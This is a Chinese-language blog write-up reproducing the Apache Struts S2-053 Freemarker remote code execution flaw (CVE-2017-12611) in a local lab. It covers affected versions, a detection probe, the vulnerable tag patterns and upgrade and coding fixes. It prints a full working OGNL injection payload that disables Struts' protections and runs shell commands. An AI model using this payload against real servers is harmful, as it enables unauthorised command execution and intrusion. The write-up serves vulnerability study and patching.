s2-053漏洞复现

2017年9月7日,Struts官方发布一个中危的安全漏洞,该漏洞编号为:S2-053,在一定条件下,当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞

漏洞编号

CVE-2017-12611

漏洞名称

Freemarker标签远程代码执行漏洞

漏洞评级

中危

影响范围

Struts 2.0.1 - 2.3.33
Struts 2.5 - 2.5.10

s2-053 POC

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

注意:执行命令的地方在于(#cmd=’whoami’)

漏洞环境搭建

可以使用war包或docker复现

使用war包搭建环境

下载war包 链接:http://pan.baidu.com/s/1qXW3FPi 密码:9exb
下载后把它放到tomcat目录下的webapps目录下,重启tomcat后访问:http://127.0.0.1:8080/s2-053

使用docker搭建环境

快速搭建各种漏洞环境(Various vulnerability environment) https://github.com/Medicean/VulApps
搭建好后访问 http://127.0.0.1:8080/hello.action

漏洞复现

漏洞检测

打开页面,输入表达式%{33-1}进行测试,发现成功执行,返回32

说明漏洞存在

执行POC

输入POC提交

来个调用计算器(calc)

把(#cmd=’whoami’)里面的whoami缓存calc

漏洞分析

当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行

1
2
3
4
<@s.hidden
name="strutsS" value=strutsS/>
<@s.hidden name="strutsS"
value="${strutsS}" />

这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响

修复方案

1.升级到Apache Struts 2.5.13或2.3.34
2.Freemarker标签内容不要通过Request方式获取
3.使用只读属性来初始化value属性(仅限getter属性)
4.不要使用如下结构
<@s.hidden name=”redirectUri” value=redirectUri />
<@s.hidden name=”redirectUri” value=”${redirectUri}” />


-------------本文结束感谢您的阅读-------------


本文标题:s2-053漏洞复现

文章作者:Y-HKL

发布时间:2017年09月13日 - 02:09

最后更新:2017年09月13日 - 03:09

原始链接:http://y-hkl.top/2017/09/13/s2-053复现/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。